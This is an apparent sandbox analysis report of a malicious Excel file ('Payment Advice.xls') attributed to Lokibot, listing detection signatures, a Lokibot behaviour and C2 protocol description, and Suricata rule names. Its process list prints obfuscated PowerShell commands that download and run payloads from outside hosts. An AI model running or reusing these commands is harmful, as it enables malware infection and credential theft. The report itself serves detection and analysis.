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Windows
Analysis Report
Payment Advice.xls
Overview
General Information
Detection
HTMLPhisher, Lokibot
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
Yara detected HtmlPhish44
Yara detected Lokibot
Yara detected Powershell download and execute
Bypasses PowerShell execution policy
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Searches the installation path of Mozilla Firefox
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w7x64
- EXCEL.EXE (PID: 3360 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) - mshta.exe (PID: 3656 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - powershell.exe (PID: 3740 cmdline:
"C:\Window s\sysTEM32 \winDowSPO WerSHEll\V 1.0\PoWerS hELL.eXE" "PowerSHeL L -Ex ByPasS -nOP -W 1 -c DevICe creDenTial dEploYMEnT .exe ; iex($ (IeX('[Sys TeM.teXt.E NcodiNg]'+ [CHar]58+[ cHAr]58+'u Tf8.getStr Ing([SysTe m.cONvERt] '+[cHar]58 +[ChAR]0X3 a+'FrOMbaS E64sTRIng( '+[ChaR]34 +'JEt2ICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgPSAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIEFE RC10WVBFIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgLU 1FbUJFckRF RklOaVRpb2 4gICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AnW0RsbElt cG9ydCgidV JMTW9OLkRs TCIsICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgQ2hhcl NldCA9IENo YXJTZXQuVW 5pY29kZSld cHVibGljIH N0YXRpYyBl eHRlcm4gSW 50UHRyIFVS TERvd25sb2 FkVG9GaWxl KEludFB0ci AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIE 5ieG0sc3Ry aW5nICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgTG1Ba1 BEbmVhLHN0 cmluZyAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIGJmbl lkYix1aW50 ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg enNXU0FXLE ludFB0ciAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIEFY Ryk7JyAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIC1OYU 1FICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgImtuWGxF d0tybndRIi AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC 1uYW1FU3Bh Q0UgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBIVVZ4IC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgLV Bhc3NUaHJ1 OyAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICRLdjo6VV JMRG93bmxv YWRUb0ZpbG UoMCwiaHR0 cDovLzE5OC 40Ni4xNzgu MTU1LzQyMi 9zZWV0aGVi ZXN0dGhpbm dzd2l0aGdv b2R0aGluZ3 Nmb3JnZXRt ZWJhY2t3aX RoYmVzdHRo aW5ncy50SU YiLCIkZU5W OkFQUERBVE Fcc2VldGhl YmVzdHRoaW 5nc3dpdGhn b29kdGhpbm dzZm9yZ2V0 bWViYWNrLn ZiUyIsMCww KTtzdEFydC 1zTGVFUCgz KTtTdGFSVC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC IkZU5WOkFQ UERBVEFcc2 VldGhlYmVz dHRoaW5nc3 dpdGhnb29k dGhpbmdzZm 9yZ2V0bWVi YWNrLnZiUy I='+[ChaR] 0x22+'))') ))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3844 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Ex ByPasS -nOP -W 1 -c DevICe creDenTial dEploYMEnT .exe MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 3940 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\1nxbda co\1nxbdac o.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3948 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RESE550.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\1nx bdaco\CSCD A0B5C0F54B 64E9AA66FC 6FE2D4D816 2.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 4044 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\seeth ebestthing swithgoodt hingsforge tmeback.vb S" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 4088 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' LigoR2VULV ZhcmlhYmxF ICcqTURSKi cpLm5BbUVb MywxMSwyXS 1KT2lOJycp ICgoJ3dWVW ltYWdlVXJs ID0gU3FwaH R0cHM6Ly9k cml2ZS5nb2 9nbGUuY29t L3VjP2V4cG 9ydD1kb3cn KydubG9hZC ZpZD0xQUlW Z0pKSnYxRj Z2UzRzVU95 Ym5ILXNEdl UnKydoQll3 dXIgJysnU3 FwO3dWVXdl YkNsaWVudC A9IE5ldy1P YmplY3QgU3 lzdGVtLk5l dC5XZWJDbG llbnQ7d1ZV aW1hZ2VCeX RlcyA9ICcr J3dWVXdlYk NsaWVudC5E b3dubG9hZE RhdGEnKyco d1ZVaW1hZ2 VVcmwpO3dW VWltYWdlJy snVGV4dCA9 IFtTeXN0ZW 0uVGV4dC5F bmNvZGluZ1 06OlVUJysn RjgnKycuR2 V0U3RyaW5n KHdWVWltYW dlQnl0ZXMp O3dWVXN0YX J0RmxhZyA9 IFNxcDw8Qk FTRTY0X1NU QVJUPj5TcX A7d1ZVZW5k RmxhZyA9IF NxcDw8QkFT RTY0X0VORD 4+U3FwO3dW VXN0YXJ0SW 5kJysnZXgg PSB3VlVpbW FnZScrJ1Rl eHQuSW5kZX hPZih3VlVz dGFydEZsJy snYWcpO3dW VWVuJysnZE luZGV4ID0g d1ZVaW1hZ2 VUZXh0Lklu ZGUnKyd4T2 Yod1ZVZW5k RmxhZyk7d1 ZVc3RhcnRJ bmRleCAtZ2 UgMCAtJysn YW5kIHdWVW VuZEluZGV4 ICcrJy1ndC B3VlVzdGFy dEluZGV4O3 dWVXN0YXJ0 SW5kZXggJy snKz0gd1ZV c3RhcnRGbG FnLkxlbmd0 aDt3VlViYX NlJysnNjRM ZW5ndGggPS B3VlVlbmRJ bmRleCAtIH dWVXN0YXJ0 SW5kZXg7d1 ZVYmFzZTY0 Q28nKydtbW FuZCA9IHdW VWltYWdlVG V4dC5TdWJz dHJpbmcod1 ZVc3RhcnRJ bmRleCcrJy wgd1ZVYmFz ZScrJzY0TG VuZ3RoKTt3 VlViYXNlNj RSZXZlcnNl ZCA9IC1qb2 luICh3VlVi YXNlNjRDb2 1tYW5kLlRv Q2hhckFycm F5KCkgalZU JysnIEZvck VhY2gtT2Jq ZWN0IHsgd1 ZVXyB9KVst MS4uLSh3Vl ViYXNlNjRD Jysnb21tYW 5kLkxlbmd0 aCldO3dWVW NvbW1hJysn bmRCeXRlcy A9IFtTeScr J3N0ZW0uQ2 9udmVydF06 OkZyb21CYX NlNjRTdHJp bmcod1ZVYm FzZTY0UmV2 ZXJzZWQpO3 dWVWxvYWRl ZEFzc2VtYm x5ID0gW1N5 c3RlbS5SZS crJ2ZsZWN0 aW9uLkFzc2 VtYmx5XTo6 TG9hZCh3Vl Vjb21tYW5k QicrJ3l0ZX MpO3dWVXZh JysnaU1ldG hvZCA9IFtk bmxpYi5JTy 5Ib21lXS5H ZScrJ3RNZX Rob2QoU3Fw VkFJU3FwKT t3VlV2YWlN ZXRob2QuSW 52bycrJ2tl KCcrJ3dWVW 51bGwsIEAo U3FwdHh0Ll JTU0dSUE1T LzIyNC81NT EuODcxLjY0 LjgnKyc5MS 8vOnAnKyd0 dGhTcXAsIF NxcGRlc2F0 aXZhZG9TcX AsIFNxcGRl c2F0aXZhZG 9TJysncXAs IFNxcGQnKy dlc2F0aXZh ZG9TcXAsJy snIFNxcENh c1BvbFNxcC wgU3FwZGVz YXRpdmFkb1 NxcCwgU3Fw ZGVzYXRpdm Fkb1NxcCxT cScrJ3BkZX NhdGl2YWRv U3EnKydwLF NxcGRlc2F0 aXZhZG9TcX AsU3FwZGVz YScrJ3Rpdm Fkb1NxcCxT cXBkZXNhdG l2YWRvU3Fw LFNxcGRlc2 F0aXZhZG9T cXAsU3FwMV NxcCxTcXBk ZXNhdGl2YW RvU3FwKSk7 JykucmVwbG FDZSgoW2No YVJdMTA2K1 tjaGFSXTg2 K1tjaGFSXT g0KSwnfCcp LnJlcGxhQ2 UoKFtjaGFS XTgzK1tjaG FSXTExMytb Y2hhUl0xMT IpLFtTdHJJ bkddW2NoYV JdMzkpLnJl cGxhQ2UoJ3 dWVScsW1N0 ckluR11bY2 hhUl0zNikg KQ==';$OWj uxd = [sys tem.Text.e ncoding]:: UTF8.GetSt ring([syst em.Convert ]::Frombas e64String( $codigo)); powershell .exe -wind owstyle hi dden -exec utionpolic y bypass - NoProfile -command $ OWjuxD MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 2692 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and ".((Ge T-VariablE '*MDR*'). nAmE[3,11, 2]-JOiN'') (('wVUima geUrl = Sq phttps://d rive.googl e.com/uc?e xport=dow' +'nload&id =1AIVgJJJv 1F6vS4sUOy bnH-sDvU'+ 'hBYwur '+ 'Sqp;wVUwe bClient = New-Object System.Ne t.WebClien t;wVUimage Bytes = '+ 'wVUwebCli ent.Downlo adData'+'( wVUimageUr l);wVUimag e'+'Text = [System.T ext.Encodi ng]::UT'+' F8'+'.GetS tring(wVUi mageBytes) ;wVUstartF lag = Sqp< <BASE64_ST ART>>Sqp;w VUendFlag = Sqp<<BAS E64_END>>S qp;wVUstar tInd'+'ex = wVUimage '+'Text.In dexOf(wVUs tartFl'+'a g);wVUen'+ 'dIndex = wVUimageTe xt.Inde'+' xOf(wVUend Flag);wVUs tartIndex -ge 0 -'+' and wVUend Index '+'- gt wVUstar tIndex;wVU startIndex '+'+= wVU startFlag. Length;wVU base'+'64L ength = wV UendIndex - wVUstart Index;wVUb ase64Co'+' mmand = wV UimageText .Substring (wVUstartI ndex'+', w VUbase'+'6 4Length);w VUbase64Re versed = - join (wVUb ase64Comma nd.ToCharA rray() jVT '+' ForEac h-Object { wVU_ })[- 1..-(wVUba se64C'+'om mand.Lengt h)];wVUcom ma'+'ndByt es = [Sy'+ 'stem.Conv ert]::From Base64Stri ng(wVUbase 64Reversed );wVUloade dAssembly = [System. Re'+'flect ion.Assemb ly]::Load( wVUcommand B'+'ytes); wVUva'+'iM ethod = [d nlib.IO.Ho me].Ge'+'t Method(Sqp VAISqp);wV UvaiMethod .Invo'+'ke ('+'wVUnul l, @(Sqptx t.RSSGRPMS /224/551.8 71.64.8'+' 91//:p'+'t thSqp, Sqp desativado Sqp, Sqpde sativadoS' +'qp, Sqpd '+'esativa doSqp,'+' SqpCasPolS qp, Sqpdes ativadoSqp , Sqpdesat ivadoSqp,S q'+'pdesat ivadoSq'+' p,Sqpdesat ivadoSqp,S qpdesa'+'t ivadoSqp,S qpdesativa doSqp,Sqpd esativadoS qp,Sqp1Sqp ,Sqpdesati vadoSqp)); ').replaCe (([chaR]10 6+[chaR]86 +[chaR]84) ,'|').repl aCe(([chaR ]83+[chaR] 113+[chaR] 112),[StrI nG][chaR]3 9).replaCe ('wVU',[St rInG][chaR ]36) )" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - mshta.exe (PID: 2112 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - powershell.exe (PID: 1472 cmdline:
"C:\Window s\sysTEM32 \winDowSPO WerSHEll\V 1.0\PoWerS hELL.eXE" "PowerSHeL L -Ex ByPasS -nOP -W 1 -c DevICe creDenTial dEploYMEnT .exe ; iex($ (IeX('[Sys TeM.teXt.E NcodiNg]'+ [CHar]58+[ cHAr]58+'u Tf8.getStr Ing([SysTe m.cONvERt] '+[cHar]58 +[ChAR]0X3 a+'FrOMbaS E64sTRIng( '+[ChaR]34 +'JEt2ICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgPSAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIEFE RC10WVBFIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgLU 1FbUJFckRF RklOaVRpb2 4gICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AnW0RsbElt cG9ydCgidV JMTW9OLkRs TCIsICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgQ2hhcl NldCA9IENo YXJTZXQuVW 5pY29kZSld cHVibGljIH N0YXRpYyBl eHRlcm4gSW 50UHRyIFVS TERvd25sb2 FkVG9GaWxl KEludFB0ci AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIE 5ieG0sc3Ry aW5nICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgTG1Ba1 BEbmVhLHN0 cmluZyAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIGJmbl lkYix1aW50 ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg enNXU0FXLE ludFB0ciAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIEFY Ryk7JyAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIC1OYU 1FICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgImtuWGxF d0tybndRIi AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC 1uYW1FU3Bh Q0UgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBIVVZ4IC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgLV Bhc3NUaHJ1 OyAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICRLdjo6VV JMRG93bmxv YWRUb0ZpbG UoMCwiaHR0 cDovLzE5OC 40Ni4xNzgu MTU1LzQyMi 9zZWV0aGVi ZXN0dGhpbm dzd2l0aGdv b2R0aGluZ3 Nmb3JnZXRt ZWJhY2t3aX RoYmVzdHRo aW5ncy50SU YiLCIkZU5W OkFQUERBVE Fcc2VldGhl YmVzdHRoaW 5nc3dpdGhn b29kdGhpbm dzZm9yZ2V0 bWViYWNrLn ZiUyIsMCww KTtzdEFydC 1zTGVFUCgz KTtTdGFSVC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC IkZU5WOkFQ UERBVEFcc2 VldGhlYmVz dHRoaW5nc3 dpdGhnb29k dGhpbmdzZm 9yZ2V0bWVi YWNrLnZiUy I='+[ChaR] 0x22+'))') ))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3260 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Ex ByPasS -nOP -W 1 -c DevICe creDenTial dEploYMEnT .exe MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 1900 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\vbdaau wq\vbdaauw q.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 628 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES2BF1.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\vbd aauwq\CSC2 9236E271A7 24343A6FBC 96F9241CBF B.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 3732 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\seeth ebestthing swithgoodt hingsforge tmeback.vb S" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 3604 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' LigoR2VULV ZhcmlhYmxF ICcqTURSKi cpLm5BbUVb MywxMSwyXS 1KT2lOJycp ICgoJ3dWVW ltYWdlVXJs ID0gU3FwaH R0cHM6Ly9k cml2ZS5nb2 9nbGUuY29t L3VjP2V4cG 9ydD1kb3cn KydubG9hZC ZpZD0xQUlW Z0pKSnYxRj Z2UzRzVU95 Ym5ILXNEdl UnKydoQll3 dXIgJysnU3 FwO3dWVXdl YkNsaWVudC A9IE5ldy1P YmplY3QgU3 lzdGVtLk5l dC5XZWJDbG llbnQ7d1ZV aW1hZ2VCeX RlcyA9ICcr J3dWVXdlYk NsaWVudC5E b3dubG9hZE RhdGEnKyco d1ZVaW1hZ2 VVcmwpO3dW VWltYWdlJy snVGV4dCA9 IFtTeXN0ZW 0uVGV4dC5F bmNvZGluZ1 06OlVUJysn RjgnKycuR2 V0U3RyaW5n KHdWVWltYW dlQnl0ZXMp O3dWVXN0YX J0RmxhZyA9 IFNxcDw8Qk FTRTY0X1NU QVJUPj5TcX A7d1ZVZW5k RmxhZyA9IF NxcDw8QkFT RTY0X0VORD 4+U3FwO3dW VXN0YXJ0SW 5kJysnZXgg PSB3VlVpbW FnZScrJ1Rl eHQuSW5kZX hPZih3VlVz dGFydEZsJy snYWcpO3dW VWVuJysnZE luZGV4ID0g d1ZVaW1hZ2 VUZXh0Lklu ZGUnKyd4T2 Yod1ZVZW5k RmxhZyk7d1 ZVc3RhcnRJ bmRleCAtZ2 UgMCAtJysn YW5kIHdWVW VuZEluZGV4 ICcrJy1ndC B3VlVzdGFy dEluZGV4O3 dWVXN0YXJ0 SW5kZXggJy snKz0gd1ZV c3RhcnRGbG FnLkxlbmd0 aDt3VlViYX NlJysnNjRM ZW5ndGggPS B3VlVlbmRJ bmRleCAtIH dWVXN0YXJ0 SW5kZXg7d1 ZVYmFzZTY0 Q28nKydtbW FuZCA9IHdW VWltYWdlVG V4dC5TdWJz dHJpbmcod1 ZVc3RhcnRJ bmRleCcrJy wgd1ZVYmFz ZScrJzY0TG VuZ3RoKTt3 VlViYXNlNj RSZXZlcnNl ZCA9IC1qb2 luICh3VlVi YXNlNjRDb2 1tYW5kLlRv Q2hhckFycm F5KCkgalZU JysnIEZvck VhY2gtT2Jq ZWN0IHsgd1 ZVXyB9KVst MS4uLSh3Vl ViYXNlNjRD Jysnb21tYW 5kLkxlbmd0 aCldO3dWVW NvbW1hJysn bmRCeXRlcy A9IFtTeScr J3N0ZW0uQ2 9udmVydF06 OkZyb21CYX NlNjRTdHJp bmcod1ZVYm FzZTY0UmV2 ZXJzZWQpO3 dWVWxvYWRl ZEFzc2VtYm x5ID0gW1N5 c3RlbS5SZS crJ2ZsZWN0 aW9uLkFzc2 VtYmx5XTo6 TG9hZCh3Vl Vjb21tYW5k QicrJ3l0ZX MpO3dWVXZh JysnaU1ldG hvZCA9IFtk bmxpYi5JTy 5Ib21lXS5H ZScrJ3RNZX Rob2QoU3Fw VkFJU3FwKT t3VlV2YWlN ZXRob2QuSW 52bycrJ2tl KCcrJ3dWVW 51bGwsIEAo U3FwdHh0Ll JTU0dSUE1T LzIyNC81NT EuODcxLjY0 LjgnKyc5MS 8vOnAnKyd0 dGhTcXAsIF NxcGRlc2F0 aXZhZG9TcX AsIFNxcGRl c2F0aXZhZG 9TJysncXAs IFNxcGQnKy dlc2F0aXZh ZG9TcXAsJy snIFNxcENh c1BvbFNxcC wgU3FwZGVz YXRpdmFkb1 NxcCwgU3Fw ZGVzYXRpdm Fkb1NxcCxT cScrJ3BkZX NhdGl2YWRv U3EnKydwLF NxcGRlc2F0 aXZhZG9TcX AsU3FwZGVz YScrJ3Rpdm Fkb1NxcCxT cXBkZXNhdG l2YWRvU3Fw LFNxcGRlc2 F0aXZhZG9T cXAsU3FwMV NxcCxTcXBk ZXNhdGl2YW RvU3FwKSk7 JykucmVwbG FDZSgoW2No YVJdMTA2K1 tjaGFSXTg2 K1tjaGFSXT g0KSwnfCcp LnJlcGxhQ2 UoKFtjaGFS XTgzK1tjaG FSXTExMytb Y2hhUl0xMT IpLFtTdHJJ bkddW2NoYV JdMzkpLnJl cGxhQ2UoJ3 dWVScsW1N0 ckluR11bY2 hhUl0zNikg KQ==';$OWj uxd = [sys tem.Text.e ncoding]:: UTF8.GetSt ring([syst em.Convert ]::Frombas e64String( $codigo)); powershell .exe -wind owstyle hi dden -exec utionpolic y bypass - NoProfile -command $ OWjuxD MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3860 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and ".((Ge T-VariablE '*MDR*'). nAmE[3,11, 2]-JOiN'') (('wVUima geUrl = Sq phttps://d rive.googl e.com/uc?e xport=dow' +'nload&id =1AIVgJJJv 1F6vS4sUOy bnH-sDvU'+ 'hBYwur '+ 'Sqp;wVUwe bClient = New-Object System.Ne t.WebClien t;wVUimage Bytes = '+ 'wVUwebCli ent.Downlo adData'+'( wVUimageUr l);wVUimag e'+'Text = [System.T ext.Encodi ng]::UT'+' F8'+'.GetS tring(wVUi mageBytes) ;wVUstartF lag = Sqp< <BASE64_ST ART>>Sqp;w VUendFlag = Sqp<<BAS E64_END>>S qp;wVUstar tInd'+'ex = wVUimage '+'Text.In dexOf(wVUs tartFl'+'a g);wVUen'+ 'dIndex = wVUimageTe xt.Inde'+' xOf(wVUend Flag);wVUs tartIndex -ge 0 -'+' and wVUend Index '+'- gt wVUstar tIndex;wVU startIndex '+'+= wVU startFlag. Length;wVU base'+'64L ength = wV UendIndex - wVUstart Index;wVUb ase64Co'+' mmand = wV UimageText .Substring (wVUstartI ndex'+', w VUbase'+'6 4Length);w VUbase64Re versed = - join (wVUb ase64Comma nd.ToCharA rray() jVT '+' ForEac h-Object { wVU_ })[- 1..-(wVUba se64C'+'om mand.Lengt h)];wVUcom ma'+'ndByt es = [Sy'+ 'stem.Conv ert]::From Base64Stri ng(wVUbase 64Reversed );wVUloade dAssembly = [System. Re'+'flect ion.Assemb ly]::Load( wVUcommand B'+'ytes); wVUva'+'iM ethod = [d nlib.IO.Ho me].Ge'+'t Method(Sqp VAISqp);wV UvaiMethod .Invo'+'ke ('+'wVUnul l, @(Sqptx t.RSSGRPMS /224/551.8 71.64.8'+' 91//:p'+'t thSqp, Sqp desativado Sqp, Sqpde sativadoS' +'qp, Sqpd '+'esativa doSqp,'+' SqpCasPolS qp, Sqpdes ativadoSqp , Sqpdesat ivadoSqp,S q'+'pdesat ivadoSq'+' p,Sqpdesat ivadoSqp,S qpdesa'+'t ivadoSqp,S qpdesativa doSqp,Sqpd esativadoS qp,Sqp1Sqp ,Sqpdesati vadoSqp)); ').replaCe (([chaR]10 6+[chaR]86 +[chaR]84) ,'|').repl aCe(([chaR ]83+[chaR] 113+[chaR] 112),[StrI nG][chaR]3 9).replaCe ('wVU',[St rInG][chaR ]36) )" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - CasPol.exe (PID: 4080 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Cas Pol.exe" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Loki Password Stealer (PWS), LokiBot | "Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected 